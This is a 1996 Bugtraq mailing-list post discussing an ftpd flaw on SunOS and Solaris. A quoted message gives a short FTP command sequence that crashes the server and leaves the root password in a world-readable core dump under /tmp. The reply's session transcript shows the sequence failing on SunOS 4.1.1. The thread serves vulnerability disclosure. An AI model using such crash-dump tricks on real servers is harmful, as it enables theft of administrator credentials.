Bugtraq mailing list archives
Re: ftpd bug? Was: bin/1805: Bug in ftpd
From: gamble () dxcoms cern ch (gamble () dxcoms cern ch)
Date: Wed, 16 Oct 1996 10:04:28 +0200
Doesn't work for me ... SunOS 4.1.1 SOMEWHERE>ftp sunos 220 sunos FTP server (SunOS 4.1) ready. Connected to sunos.xxx.xx. Name (sunos:smith): 331 Password required for smith. Password: 230 User smith logged in. FTP> cd /tmp 250 CWD command successful. FTP> user root fred 530 User root access denied. %FTP-E-LOGREJ, Login request rejected FTP> quote pasv 421 Service not available, Remote server has closed the connection SOMEWHERE> and no core in /tmp John ------------------------------------------ original message James Poland 6-5251 wrote:
On Solaris 2.5.1, the core file contains only the user's password in cleartext. How hard is it to crash someone else's ftp session?
Killing from the command line doesn't seem to work, but: SunOS 5.5: logon via ftp with your regular user/password, ftp> cd /tmp ftp> user root wrongpasswd ftp> quote pasv voila, root password in world readable core dump under /tmp -Martin PS: Sun's ftpd doesn't core when issuing "quote pasv" before logon, so the seem to have used the proposed fix Checking for "pw != NULL" So this proposal was simple and obvious ... and incomplete. :)
Current thread:
- Re: ftpd bug? Was: bin/1805: Bug in ftpd Martin Rex (Oct 15)
- Re: ftpd bug? Was: bin/1805: Bug in ftpd Micah Brandon (Oct 16)
- Re: ftpd bug? Was: bin/1805: Bug in ftpd Doug Williams (Oct 16)
- Re: ftpd bug? Was: bin/1805: Bug in ftpd Doug Williams (Oct 16)
- solaris 2.4 license-manager bug Grant Kaufmann (Oct 16)
- Re: BoS: solaris 2.4 license-manager bug Paul Wickman (Oct 17)
- fix for symlinks in /tmp Andrew Tridgell (Oct 18)
- Re: ftpd bug? Was: bin/1805: Bug in ftpd Doug Williams (Oct 16)
- Re: ftpd bug? Was: bin/1805: Bug in ftpd gamble () dxcoms cern ch (Oct 16)
- Re: ftpd bug? Was: bin/1805: Bug in ftpd Andrew Dills (Oct 16)
- Re: ftpd bug? Was: bin/1805: Bug in ftpd Jonny Llama (Oct 16)
- Re: ftpd bug? Was: bin/1805: Bug in ftpd Perry E. Metzger (Oct 16)
- Re: ftpd bug? Was: bin/1805: Bug in ftpd Andrew Dills (Oct 16)
- Re: ftpd bug? Was: bin/1805: Bug in ftpd Micah Brandon (Oct 16)
- Re: ftpd bug? Was: bin/1805: Bug in ftpd Rune Braathen (Oct 16)
- Re: ftpd bug? Was: bin/1805: Bug in ftpd Grant Kaufmann (Oct 16)
- <Possible follow-ups>
- Re: ftpd bug? Was: bin/1805: Bug in ftpd James Poland 6-5251 (Oct 16)
- Re: ftpd bug? Was: bin/1805: Bug in ftpd Martin Rex (Oct 17)
- Re: ftpd bug? Was: bin/1805: Bug in ftpd Brad.Powell (Oct 17)